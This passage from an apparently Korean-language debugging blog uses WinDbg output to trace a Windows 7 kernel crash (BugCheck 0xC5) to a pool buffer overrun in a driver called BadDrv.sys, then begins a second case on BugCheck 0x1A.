081dfc14 765763bb 0f74149c 7fffffff 08e15488 EXPLORERFRAME!CRunnableTask::Run+0xce

081dfc30 76578c43 081dfc6c 00000000 17a748d0 SHELL32!CShellTask::TT_Run+0x167

081dfc78 76578d77 081dfc90 7627b2b1 08e15488 SHELL32!CShellTaskThread::ThreadProc+0xa3

081dfc80 7627b2b1 08e15488 0902c6f8 081dfd04 SHELL32!CShellTaskThread::s_ThreadProc+0x1b

081dfc90 775ad897 17a748d0 7f78dcce 006287e0 SHLWAPI!ExecuteWorkItemThreadProc+0xe

081dfd04 775b0846 17a748d0 0902c6f8 7f78dfae ntdll!RtlpTpWorkCallback+0x11d

081dfe64 75d6ed6c 006287d8 081dfeb0 775e377b ntdll!TppWorkerThread+0x572

081dfe70 775e377b 006287d8 7f78df7a 00000000 kernel32!BaseThreadInitThunk+0xe

081dfeb0 775e374e 775b03e9 006287d8 00000000 ntdll!__RtlUserThreadStart+0x70

081dfec8 00000000 775b03e9 006287d8 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND: kb

THREAD_SHA1_HASH_MOD_FUNC: d88f93992d675d51da0b6bb80cf72e33554c1a0c

THREAD_SHA1_HASH_MOD_FUNC_OFFSET: c610c8843f28f8a4ba858fe9abfac4088a42a8e1

THREAD_SHA1_HASH_MOD: a1e2774180770312a6efc2e8cf99f51b102d2427

FOLLOWUP_IP:

MyDrv+8e17

95224e17 8945f8 mov dword ptr [ebp-8],eax

FAULT_INSTR_CODE: 33f84589

SYMBOL_STACK_INDEX: 4

SYMBOL_NAME: MyDrv+8e17

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: MyDrv

IMAGE_NAME: MyDrv.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 5281e1ad

FAILURE_BUCKET_ID: 0xC5_2_MyDrv+8e17

BUCKET_ID: 0xC5_2_MyDrv+8e17

PRIMARY_PROBLEM_CLASS: 0xC5_2_MyDrv+8e17

TARGET_TIME: 2014-02-03T12:10:15.000Z

OSBUILD: 7601

OSSERVICEPACK: 1000

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK: 272

PRODUCT_TYPE: 1

OSPLATFORM_TYPE: x86

OSNAME: Windows 7

OSEDITION: Windows 7 WinNt (Service Pack 1) TerminalServer SingleUserTS

OS_LOCALE:

USER_LCID: 0

OSBUILD_TIMESTAMP: 2013-01-05 11:46:00

BUILDDATESTAMP_STR: 130104-1431

BUILDLAB_STR: win7sp1_gdr

BUILDOSVER_STR: 6.1.7601.18044.x86fre.win7sp1_gdr.130104-1431

ANALYSIS_SESSION_ELAPSED_TIME: 186c

ANALYSIS_SOURCE: KM

FAILURE_ID_HASH_STRING: km:0xc5_2_MyDrv+8e17

FAILURE_ID_HASH: {9dc76993-d915-564c-f684-d2b01a978dd4}

Followup: MachineOwner

---------

!analyze 내용의 콜 스택 아래 부분을 보면 FAILURE_BUCKET_ID: 0xC5_2_MyDrv+8e17 내용이 있다.

이 내용만 보면 MyDrv로 인해 문제가 발생한 것으로 오해하기 쉽다. 앞서 설명했지만 WinDbg에서는 nt 커널 모듈을 제외한 마지막 모듈을 보여주기 때문에 범인이 아닐 가능성도 있다.

물론 MyDrv가 범인일 수도 있기 때문에 철저한 분석을 통해 진짜 범인을 찾아보자.

우선 analyze 에서 시키는 대로 .trap 명령을 통해 문제가 발생한 부분으로 컨텍스트를 설정해보자.

kd> .trap 0xffffffffb683f62c

ErrCode = 00000002

eax=00000000 ebx=835706c0 ecx=8b6ac9f0 edx=86b117b0 esi=83570840 edi=835706c4

eip=8355a4c1 esp=b683f6a0 ebp=b683f6e8 iopl=0 nv up ei pl zr na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246

nt!ExAllocatePoolWithTag+0x4b7:

8355a4c1 897004 mov dword ptr [eax+4],esi ds:0023:00000004=????????

nt!ExAllocatePoolWithTag+0x4b7 시점에 mov dword ptr [eax+4],esi 명령을 수행하다 eax 가 0이라 eax+4인 00000004 주소에 접근했다.

그리고 00000004는 유효하지 않은 주소여서 문제가 발생했다.

그렇다면 문제 발생 시점의 앞 부분을 분석해서 eax에 0이 설정된 원인을 찾아야 한다.

먼저 kv 명령으로 콜 스택을 확인해서 문제 발생 상황을 살펴보자.

kd> kv

*** Stack trace for last set context - .thread/.cxr resets it

# ChildEBP RetAddr Args to Child

00 b683f6e8 83ba6aa1 00000000 00000040 7843464d nt!ExAllocatePoolWithTag+0x4b7// 2) BSOD 발생

01 b683f700 83ba8091 8ae62bf8 8bbdc820 869f1530 fltmgr!ExAllocateFromPagedLookasideList+0x27 (FPO: [Non-Fpo])

02 b683f718 95224e17 86a2aaf8 00000010 00000010 fltmgr!FltAllocateContext+0xa9 (FPO: [Non-Fpo])

03 b683f73c 952251b6 8bbdc820 b683f79c 86e48320 MyDrv+0x8e17 // 1) 필터매니저에게 컨텍스트 메모리 할당 요청

04 b683f758 952252cc 8bbdc820 b683f79c 86e48320 MyDrv+0x91b6

05 b683f77c 83ba7aeb 8bbdc820 b683f79c b683f7c8 MyDrv+0x92cc

06 b683f7e8 83baa9f0 b683f82c d39a3dd8 00000000 fltmgr!FltpPerformPreCallbacks+0x34d (FPO: [Non-Fpo])

07 b683f800 83bbe1fe b683f82c 83bc1f3c 00000000 fltmgr!FltpPassThroughInternal+0x40 (FPO: [Non-Fpo])

08 b683f814 83bbe8b7 b683f82c d39a3dd8 86b76f80 fltmgr!FltpCreateInternal+0x24 (FPO: [Non-Fpo])

09 b683f858 83470c0e 86e1c590 86e0f7e8 8b67de58 fltmgr!FltpCreate+0x2c9 (FPO: [Non-Fpo])

0a b683f870 b65ddffa 86b76f80 8b67de58 86b76f80 nt!IofCallDriver+0x63

0b b683f900 83470c0e 8b67de58 d39a3dd8 86b76fdc SomeDrv+0x5ffa

0c b683f918 836803ee a90c97a7 b683fac0 00000000 nt!IofCallDriver+0x63

0d b683f9f0 8365fc1e 86d4ae20 85ebb9c8 89a08d20 nt!IopParseDevice+0xee6

0e b683fa6c 83670030 00000000 b683fac0 00000040 nt!ObpLookupObjectName+0x4fa

0f b683fac8 83666b0e 081df704 85ebb9c8 00000001 nt!ObOpenObjectByName+0x165

10 b683fb44 8366cc94 179b0980 00020000 081df704 nt!IopCreateFile+0x673

11 b683fb8c b65b9725 179b0980 00020000 081df704 nt!NtOpenFile+0x2a

12 b683fc14 8347789a 179b0980 00020000 081df704 BadDrv+0x1725

13 b683fc14 775c7094 179b0980 00020000 081df704 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ b683fc34)

... ...

1)번에서 미니필터로 동작 중인 MyDrv가 필터매니저(fltmgr)에게 메모리를 할당 받으려는 과정 중에 문제가 발생했다.

문제가 발생한 함수인 ExAllocatePoolWithTag를 디스어셈블링해서 eax가 손상된 원인을 찾아보자.

kd> u ExAllocatePoolWithTag+0x462 L18

nt!ExAllocatePoolWithTag+0x45d:

8355a467 ff742424 push dword ptr [esp+24h]

8355a46b e8f8efffff call nt!MiAllocatePoolPages (83559468)

8355a470 8bf0 mov esi,eax

8355a472 85f6 test esi,esi

8355a474 0f854e020000 jne nt!ExAllocatePoolWithTag+0x6bd (8355a6c8)

8355a47a ff442418 inc dword ptr [esp+18h]

8355a47e 837c241801 cmp dword ptr [esp+18h],1

8355a483 0f8504020000 jne nt!ExAllocatePoolWithTag+0x682 (8355a68d)

8355a489 f705b4305a8300020000 test dword ptr [nt!ExpPoolFlags (835a30b4)],200h

8355a493 0f84f4010000 je nt!ExAllocatePoolWithTag+0x682 (8355a68d)

8355a499 50 push eax

8355a49a 53 push ebx

8355a49b e8c0110000 call nt!ExDeferredFreePool (8355b660)

8355a4a0 e9e0feffff jmp nt!ExAllocatePoolWithTag+0x37b (8355a385)

8355a4a5 8b0e mov ecx,dword ptr [esi] // 4) ecx에 esi 값을 설정

8355a4a7 8b4104 mov eax,dword ptr [ecx+4]

8355a4aa 3bc6 cmp eax,esi

8355a4ac 0f85c8010000 jne nt!ExAllocatePoolWithTag+0x670 (8355a67a)

8355a4b2 8b5604 mov edx,dword ptr [esi+4]

8355a4b5 3932 cmp dword ptr [edx],esi

8355a4b7 0f85bd010000 jne nt!ExAllocatePoolWithTag+0x670 (8355a67a)

8355a4bd 8b01 mov eax,dword ptr [ecx] // 3) eax에 ecx 값을 설정

8355a4bf 8906 mov dword ptr [esi],eax // 2) esi에 eax 값을 설정

8355a4c1 897004 mov dword ptr [eax+4],esi // 1) eax+4에 esi 값을 설정하다 문제 발생

1)~4) 순서는 분석 흐름으로 실제 문제가 발생한 부분부터 거꾸로 확인한 순서이다. 문제가 발생한 1)번부터 확인해보면 결국 eax는 4)번에서 esi를 통해 ecx로 설정된 값이다.

2)번을 보면 esi에 eax 값을 넣고 있다. 한 번 확인해보자.

kd> r esi

Last set context:

esi=83570840

esi 값인 83570840도 확인해보자.

kd> dd 83570840 L1

83570840 00000000

esi에 0이 설정되어 있다. 3)번에서는 eax에 ecx 값을 넣고 있으니 ecx도 살펴보자.

kd> r ecx

Last set context:

ecx=8b6ac9f0

ecx 값인 8b6ac9f0도 확인해야 한다.

kd> dd 8b6ac9f0 L1

8b6ac9f0 00000000

ecx 역시 0이 설정되어 있다.

마지막으로 4)번에서 ecx를 설정한 esi를 살펴보자.

kd> r esi

Last set context:

esi=83570840

esi에 있는 83570840 값을 이번에는 ln 명령으로 커널의 특정 주소는 아닌지 확인해보자.

kd> ln 83570840

Browse module

Set bu breakpoint

(835706c0) nt!NonPagedPoolDescriptor+0x180

ln 명령으로 확인해보니 esi는 NonPagedPoolDescriptor 영역으로 확인된다. 그렇다면 풀 디스크립터인 esi에서 가져온 ecx 값은 풀 주소일 가능성이 높고, 이 주소를 누군가 0으로 손상시켰을 가능성이 의심된다.

esi 값인 83570840은 NonPagedPoolDescriptor 주소인 835706c0의 + 0x180 위치다. 디스크립터 시작 주소인 835706c0을 POOL_DESCRIPTOR 구조체에 넣어 확인해보자.

kd> dt _POOL_DESCRIPTOR 835706c0

nt!_POOL_DESCRIPTOR

+0x000 PoolType : 0 ( NonPagedPool )

+0x004 PagedLock : _KGUARDED_MUTEX

+0x004 NonPagedLock : 0xb683f6d0

+0x040 RunningAllocs : 0x262521c

+0x044 RunningDeAllocs : 0x25e6553

+0x048 TotalBigPages : 0x3d8c

+0x04c ThreadsProcessingDeferrals : 0

+0x050 TotalBytes : 0x5a47150

+0x080 PoolIndex : 0

+0x0c0 TotalPages : 0x2d28

+0x100 PendingFrees : 0x89895920 -> 0x8ba5a6e0 Void

+0x104 PendingFreeDepth : 6

+0x140 ListHeads : [512] _LIST_ENTRY [ 0x83570800 - 0x83570800 ]

0x140 에는 메모리 풀 주소들이 연결되어 있는 LIST_ENTRY 의 배열이 위치한다.

ecx 값이 디스크립터 시작 주소로부터 +0x180 위치라는 말은 0x140 위치의 ListHeads 필드로부터 +0x40 떨어진 위치라는 의미다. 따라서 계산을 통해 주소를 구할 수 있다.

kd> dt _LIST_ENTRY /v

ntdll!_LIST_ENTRY

struct _LIST_ENTRY, 2 elements, 0x8 bytes

+0x000 Flink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes

+0x004 Blink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes

LIST_ENTRY 의 크기를 확인하기 위해 dt 명령의 /v 옵션을 설정하니 8바이트라고 나온다. 0x40 / 8 = 8 이므로, 512개의 배열 중 8번째 인덱스 위치의 LIST_ENTRY가 ecx다.

ListHeads필드에 [n] 을 사용하면 인덱스로 접근 가능하다.

kd> dt _POOL_DESCRIPTOR 835706c0 ListHeads[8]

nt!_POOL_DESCRIPTOR

+0x140 ListHeads : [8] _LIST_ENTRY [ 0x0 - 0x86b117b0 ]

8번째 인덱스를 확인해보니 LIST_ENTRY의 Flink가 정확하게 0 으로 확인된다. 이 값이 ecx에 설정된 것이다. 누군가 Flink 에 설정된 주소 값을 0으로 손상시켰음이 분명하다.

ecx가 문제였음이 확실해졌으니 이제 ecx를 !pool 명령으로 확인해보자.

kd> !pool ecx

Pool page 8b6ac9f0 region is Nonpaged pool

8b6ac808 doesn't look like a valid small pool allocation, checking to see

if the entire page is actually part of a large page allocation...

8b6ac808 is not valid pool. Checking for freed (or corrupt) pool

Bad previous allocation size @8b6ac808, last size was 0

***

*** An error (or corruption) in the pool was detected;

*** Attempting to diagnose the problem.

***

*** Use !poolval 8b6ac000 for more details.

Pool page [ 8b6ac000 ] is __inVALID.

Analyzing linked list...

Scanning for single bit errors...

None found

풀 헤더가 손상됐다고 나온다. 이런 경우 손상된 주소의 앞 쪽에서 누군가 메모리를 손상시켰을 가능성이 높다.

이제 1000 바이트 정도 앞 쪽 메모리 영역부터 확인해보자.

kd> !pool ecx-1000

Pool page 8b6ab9f0 region is Nonpaged pool

*8b6a0000 : large page allocation, tag is Ddk , size is 0xc808 bytes

Pooltag Ddk : Default for driver allocated memory (user's of ntddk.h)

손상된 풀 헤더의 앞에는 8b6a0000 주소부터 c808 바이트 크기로 할당된 꽤나 큰 라지 풀 영역이 존재한다.

풀 태그는 Ddk로 확인된다. Ddk는 nt 커널의 기본 풀 태그로 메모리 할당시 풀 태그를 지정하지 않으면 모두 이 태그로 할당된다. 따라서 이런 경우 누가 할당한 메모리인지 찾기 어렵다.

왠지 범인을 찾기가 쉽지 않을 것 같은 예감이 든다. 어쨌든 해당 풀의 마지막 부분부터 확인해보자.

kd> db 8b6a0000+c808-20

8b6ac7e8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6a0000 풀의 끝 위치(8b6ac807) ↓

8b6ac7f8 00 00 00 00 00 00 00 00-5c 00 3f 00 3f 00 5c 00 ........\.?.?.\.

↓ 다음 풀 시작 위치(8b6ac808)

8b6ac808 43 00 3a 00 5c 00 57 00-69 00 6e 00 64 00 6f 00 C.:.\.W.i.n.d.o.

8b6ac818 77 00 73 00 5c 00 53 00-79 00 73 00 74 00 65 00 w.s.\.S.y.s.t.e.

8b6ac828 6d 00 33 00 32 00 5c 00-00 00 00 00 00 00 00 00 m.3.2.\.........

8b6ac838 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac848 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac858 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

풀 시작 주소인 8b6a0000에 풀 크기인 c808을 더하면 8b6ac808인데, 0x20(32) 바이트 앞부터 확인한 내용이다.

이 Ddk 풀 태그의 라지 풀은 8b6ac808 앞인 8b6ac807 주소까지만 사용 가능하다. 그런데 할당된 영역을 넘어서 "\??\C:\Windows\System32\" 문자열로 덮어 써 버렸다.

이번에는 문제의 ecx 값인 8b6ac9f0까지 다시 확인해보자.

kd> db 8b6a0000+c808-20 L220

8b6ac7e8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac7f8 00 00 00 00 00 00 00 00-5c 00 3f 00 3f 00 5c 00 ........\.?.?.\.

8b6ac808 43 00 3a 00 5c 00 57 00-69 00 6e 00 64 00 6f 00 C.:.\.W.i.n.d.o.

8b6ac818 77 00 73 00 5c 00 53 00-79 00 73 00 74 00 65 00 w.s.\.S.y.s.t.e.

8b6ac828 6d 00 33 00 32 00 5c 00-00 00 00 00 00 00 00 00 m.3.2.\.........

8b6ac838 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac848 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac858 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac868 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac878 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac888 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac898 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac8a8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac8b8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac8c8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac8d8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac8e8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac8f8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac908 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac918 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac928 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac938 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac948 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac958 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac968 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac978 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac988 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac998 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac9a8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac9b8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac9c8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

8b6ac9d8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

↓ ecx 주소(8b6ac9f0)

8b6ac9e8 00 00 00 00 00 00 00 00-00 00 00 00 40 08 57 83 ............@.W.

8b6ac9f8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

덮어 쓴 문자열 뒷 부분부터 ecx 부분까지는 전부 0으로 설정되어 있다. 이제야 ecx에 0이 설정된 상황이 이해가 된다. 앞 쪽 라지 풀을 할당한 모듈에서 문자열을 복사하다 뒤에 있는 디스크립터 관련 풀 헤더 영역까지 손상시킨 것이다.

다행히 메모리가 손상된 원인은 확인했지만 큰 난관이 남아있다. 풀 태그가 기본 풀 태그인 Ddk기 때문에 도대체 어떤 모듈이 범인인지 찾기 어렵다.

풀 태그가 없기 때문에 풀 태그 문자열을 가지고 모듈을 찾는 방법은 사용할 수 없기 때문이다.

정작 중요한 범인을 찾지 못해 난감한 상황이 되었다. 이를 어쩐다.

차분하게 분석했던 내용을 다시 살펴보니 이상한 부분이 하나 보인다.

바로 문제를 일으킨 0xc808 바이트 크기의 라지 풀이다.

kd> ?c808

Evaluate expression: 51208 = 0000c808

해당 풀을 할당한 모듈의 입장에서 한 번 생각해 보았다.

무슨 일로 51,208 바이트나 되는 풀을 할당했을까? 이 정도 크기면 뭔가 임시로 할당했다 해제하는 메모리가 아니라 버퍼 같은 용도로 크게 할당해 놓고 주기적으로 사용하는 메모리가 아닐까?

아마도 버퍼 목적의 메모리라면 해당 버퍼 주소를 전역 변수 어딘가에 설정해놓지 않았을까?

이런 생각의 흐름을 통해 다음과 같은 코드를 상상해 보았다.

// 전역 작업 버퍼

PVOID g_pWorkBuffer;

VOID

InitBuffer()

{

// 이렇게 풀 태그를 지정하지 않으면 ‘Ddk’로 할당된다.

g_pWorkBuffer = ExAllocatePool(NonPagedPool, 0xc808);

... ...

}

VOID

SaveString(

IN PWSTR pszString,

IN ULONG cbString

)

{

memcpy(g_pWorkbuffer, pszString, cbString);

... ...

}

g_pWorkBuffer 같은 전역 변수가 있다면 라지 풀의 시작 주소인 8b6a0000 을 할당 받아 갖고 있을 가능성이 있다.

이를 검증하기 위해 모듈에서 풀 태그 문자열을 찾을 때 썼던 방법을 응용해보자. 풀 태그 문자열 대신 풀 주소 값인 8b6a0000을 넣어 보는 것이다.

메모리에 있는 문자열이 아닌 바이트 값을 검색하려면 문자열 검색 옵션인 -a는 설정하지 않아야 한다.

또 한 가지는 8b6a0000을 그대로 입력하면 안 된다. 반대로 한 글자 씩 ‘00 00 6a 8b’로 입력해야 한다. DWORD로 표시되는 8b6a0000 값은 실제 메모리에는 반대로 저장되어 있기 때문이다(이를 리틀 엔디언 방식이라고 한다. 이해가 안 된다면 리틀 엔디언과 빅 엔디언의 차이를 찾아보자).

kd> !for_each_module s @#Base @#End 00 00 6a 8b

6cc3ff72 00 00 6a 8b c1 6c ff ff-ff ff 00 00 00 00 ff ff ..j..l..........

b65be3a4 00 00 6a 8b 26 00 00 00-00 00 00 00 01 00 00 00 ..j.&...........

유저 영역 주소인 6cc3ff72를 제외하면 커널 영역 주소로 b65be3a4가 하나 검색된다. 왠지 모르게 등골이 서늘해진다.

정말 예상대로 어떤 모듈의 주소가 맞을까? lmva 명령으로 확인해보자.

kd> lmva b65be3a4

Browse full module list

start end module name

b65b8000 b65c7700 BadDrv (no symbols)

Loaded symbol image file: BadDrv.sys

Image path: \??\C:\Windows\system32\drivers\BadDrv.sys

Image name: BadDrv.sys

Browse all global symbols functions data

Timestamp: Tue Mar 22 11:33:52 2011 (4D880A90)

CheckSum: 0001DB7F

ImageSize: 0000F700

Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4

와우! 라지 풀의 주소인 8b6a0000이 있는 b65be3a4 값은 b65b8000에 위치한 BadDrv 모듈 내의 주소다. 정말 짜릿한 순간이다.

이번에는 b65be3a4 주소가 정확하게 BadDrv 모듈의 어느 부분인지 살펴보자.

!dh 명령을 모듈 시작 주소와 함께 사용하면 PE 헤더 형식으로 내용을 보여준다.

kd> !dh b65b8000

File Type: EXECUTABLE IMAGE

FILE HEADER VALUES

14C machine (i386)

5 number of sections

4D880A90 time date stamp Tue Mar 22 11:33:52 2011

0 file pointer to symbol table

0 number of symbols

E0 size of optional header

10E characteristics

Executable

Line numbers stripped

Symbols stripped

32 bit word machine

OPTIONAL HEADER VALUES

10B magic #

6.00 linker version

6280 size of code

9200 size of initialized data

0 size of uninitialized data

50B9 address of entry point

280 base of code

----- new -----

00010000 image base

80 section alignment

80 file alignment

1 subsystem (Native)

5.00 operating system version

5.00 image version

1.10 subsystem version

F700 size of image

280 size of headers

1DB7F checksum

00040000 size of stack reserve

00001000 size of stack commit

00100000 size of heap reserve

00001000 size of heap commit

0 DLL characteristics

0 [ 0] address [size] of Export Directory

E600 [ 3C] address [size] of Import Directory

EB80 [ 4A8] address [size] of Resource Directory

0 [ 0] address [size] of Exception Directory

0 [ 0] address [size] of Security Directory

F080 [ 4F8] address [size] of Base Relocation Directory

370 [ 1C] address [size] of Debug Directory

0 [ 0] address [size] of Description Directory

0 [ 0] address [size] of Special Directory

0 [ 0] address [size] of Thread Storage Directory

0 [ 0] address [size] of Load Configuration Directory

0 [ 0] address [size] of Bound Import Directory

280 [ F0] address [size] of Import Address Table Directory

0 [ 0] address [size] of Delay Import Directory

0 [ 0] address [size] of COR20 Header Directory

0 [ 0] address [size] of Reserved Directory

SECTION HEADER #1

.text name

5CFE virtual size

280 virtual address

5D00 size of raw data

280 file pointer to raw data

0 file pointer to relocation table

0 file pointer to line numbers

0 number of relocations

0 number of line numbers

68000020 flags

Code

Not Paged

(no align specified)

Execute Read

Debug Directories(1)

Type Size Address Pointer

cv 94 0 f700 [Debug data not mapped]

SECTION HEADER #2

.data name

8680 virtual size // 데이터 섹션 크기

5F80 virtual address // 데이터 섹션 시작 위치

8680 size of raw data

5F80 file pointer to raw data

0 file pointer to relocation table

0 file pointer to line numbers

0 number of relocations

0 number of line numbers

C8000040 flags

Initialized Data

Not Paged

(no align specified)

Read Write

SECTION HEADER #3

INIT name

556 virtual size

E600 virtual address

580 size of raw data

E600 file pointer to raw data

0 file pointer to relocation table

0 file pointer to line numbers

0 number of relocations

0 number of line numbers

E2000020 flags

Code

Discardable

(no align specified)

Execute Read Write

SECTION HEADER #4

.rsrc name

4A8 virtual size

EB80 virtual address

500 size of raw data

EB80 file pointer to raw data

0 file pointer to relocation table

0 file pointer to line numbers

0 number of relocations

0 number of line numbers

42000040 flags

Initialized Data

Discardable

(no align specified)

Read Only

SECTION HEADER #5

.reloc name

61E virtual size

F080 virtual address

680 size of raw data

F080 file pointer to raw data

0 file pointer to relocation table

0 file pointer to line numbers

0 number of relocations

0 number of line numbers

42000040 flags

Initialized Data

Discardable

(no align specified)

Read Only

확인된 내용을 보면 전역 변수들이 위치하는 데이터 섹션(.data)은 b65bdf80부터 b65c6600까지다.

// 데이터 섹션 시작 위치(virtual address)

kd> ?b65b8000 + 5f80

Evaluate expression: -1235492992 = b65bdf80

// 데이터 섹션 크기(virtual size)

kd> ?b65bdf80 + 8680

Evaluate expression: -1235458560 = b65c6600

데이터 섹션의 범위가 b65bdf80 – b65c6600 이므로 찾은 b65be3a4 값은 정확하게 데이터 섹션 내의 주소다. 예상대로 범인인 라지 풀은 BadDrv 모듈 전역 변수에 설정된 버퍼였던 것이다.

이번 예제도 다른 메모리 손상 이슈와 비슷하게 BadDrv 모듈에서 전역 버퍼로 할당한 메모리를 잘못 관리하여 뒷 부분 메모리까지 손상시킨 것이 원인으로 밝혀졌다.

이런 예제를 분석할 때면 어려운 퍼즐을 푸는 것 같은 스릴을 느낀다.

이번 분석의 교훈은 답이 보이지 않을 때는 범인의 입장에서 생각해보자이다. 숨겨진 퍼즐의 답을 찾을 수 있을 것이다.

[0x1A] 페이지 손상

Paul.. — Thu, 12 Jul 2018 23:14:55 +0900

이번 덤프는 BugCheck 0x1A: MEMORY_MANAGEMENT다.

0x1A는 커널에서 메모리 주소를 관리하는 과정 중에 문제가 생기면 발생한다. 다양한 원인이 있을 수 있는데, 예를 들어 메모리 관리자가 특정 메모리 주소를 변환하려고 페이지 테이블 엔트리(PTE)를 참조할 때 엔트리 손상이 감지되면 이 오류 코드를 발생시킨다.

대부분 커널 내부 코드에서 발생하기 때문에 분석 자체가 굉장히 어렵고 불가능한 경우도 많다. 물론 시작도 안하고 포기할 수는 없으니 일단 시작해보자.

kd> !analyze -v

*******************************************************************************

* *

* Bugcheck Analysis *

* *

*******************************************************************************

MEMORY_MANAGEMENT (1a)

# Any other values for parameter 1 must be individually examined.

Arguments:

Arg1: 00041287, An illegal page fault occurred while holding working set

synchronization.

Parameter 2 contains the referenced virtual address.

Arg2: 34333231

Arg3: 00000000

Arg4: 00000000

Debugging Details:

------------------

BUGCHECK_STR: 0x1a_41287

DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT

PROCESS_NAME: WerFault.exe

CURRENT_IRQL: 0

ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) amd64fre

TRAP_FRAME: aa9ff594 -- (.trap 0xffffffffaa9ff594)

ErrCode = 00000000

eax=34333231 ebx=85c5c000 ecx=29a00000 edx=0f349000 esi=00000000 edi=831a7100

eip=830d8f0f esp=aa9ff608 ebp=aa9ff618 iopl=0 nv up ei pl nz na po nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202

nt!MiAllocateAccessLog+0x54:

830d8f0f 3930 cmp dword ptr [eax],esi

ds:0023:34333231=????????

Resetting default scope

LAST_CONTROL_TRANSFER: from 8307ca78 to 830c99ad

STACK_TEXT:

aa9ff57c 8307ca78 00000000 34333231 00000000 nt!MmAccessFault+0x104

aa9ff57c 830d8f0f 00000000 34333231 00000000 nt!KiTrap0E+0xdc

aa9ff618 830c111e c0699800 84a94e2c 842f4804 nt!MiAllocateAccessLog+0x54

aa9ff664 830c7907 c0699800 00000000 85a9b630 nt!MiLogPageAccess+0x40

aa9ff8d4 8326b0c4 d3300000 cdf693f0 00000000 nt!MmUnmapViewInSystemCache+0x1c1

aa9ff90c 830c97b5 85a9b630 85e8f5a8 00000000 nt!CcUnmapVacb+0x18c

aa9ff94c 830c76ff 01e8f5a8 831a7400 00000001 nt!CcUnmapVacbArray+0x292

aa9ff96c 830c7d9c 831a7400 00000000 85e8f5a8 nt!CcUnmapAndPurge+0x2e

aa9ff988 830c7514 00000001 85de1f80 00000000 nt!CcDeleteSharedCacheMap+0x82

aa9ff9bc 830e74a6 aa9ff9ec 812c5e91 01000000 nt!CcWriteBehind+0x715

aa9ffa1c 83261c3f 87d9af80 00000000 00000000 nt!CcWaitForUninitializeCacheMap+0x15e

aa9ffb3c 832613c9 aa9ffb90 00000007 00000000 nt!MmCreateSection+0x339

aa9ffbb0 936eef93 0010d600 00000007 00000000 nt!NtCreateSection+0x16e

aa9ffc10 83079896 0010d600 00000007 00000000 SomeDrv+0xdf93

aa9ffc10 76df70f4 0010d600 00000007 00000000 nt!KiSystemServicePostCall

0010d720 00000000 00000000 00000000 00000000 0x76df70f4

STACK_COMMAND: kb

FOLLOWUP_IP:

SomeDrv+df93

936eef93 8bf0 mov esi,eax

SYMBOL_STACK_INDEX: d

SYMBOL_NAME: SomeDrv+df93

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: SomeDrv

IMAGE_NAME: SomeDrv.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 53268cfa

FAILURE_BUCKET_ID: 0x1a_41287_SomeDrv+df93

BUCKET_ID: 0x1a_41287_SomeDrv+df93

ANALYSIS_SOURCE: KM

FAILURE_ID_HASH_STRING: km:0x1a_41287_SomeDrv+df93

FAILURE_ID_HASH: {385bcdbd-2174-4449-cfff-dcc030b0a015}

Followup: MachineOwner

---------

오류 코드 0x1A만 보면 마음이 무겁다. 분석도 어렵고 고통스러울 뿐 아니라 들인 시간에 비해 소득이 없는 경우가 많기 때문이다.

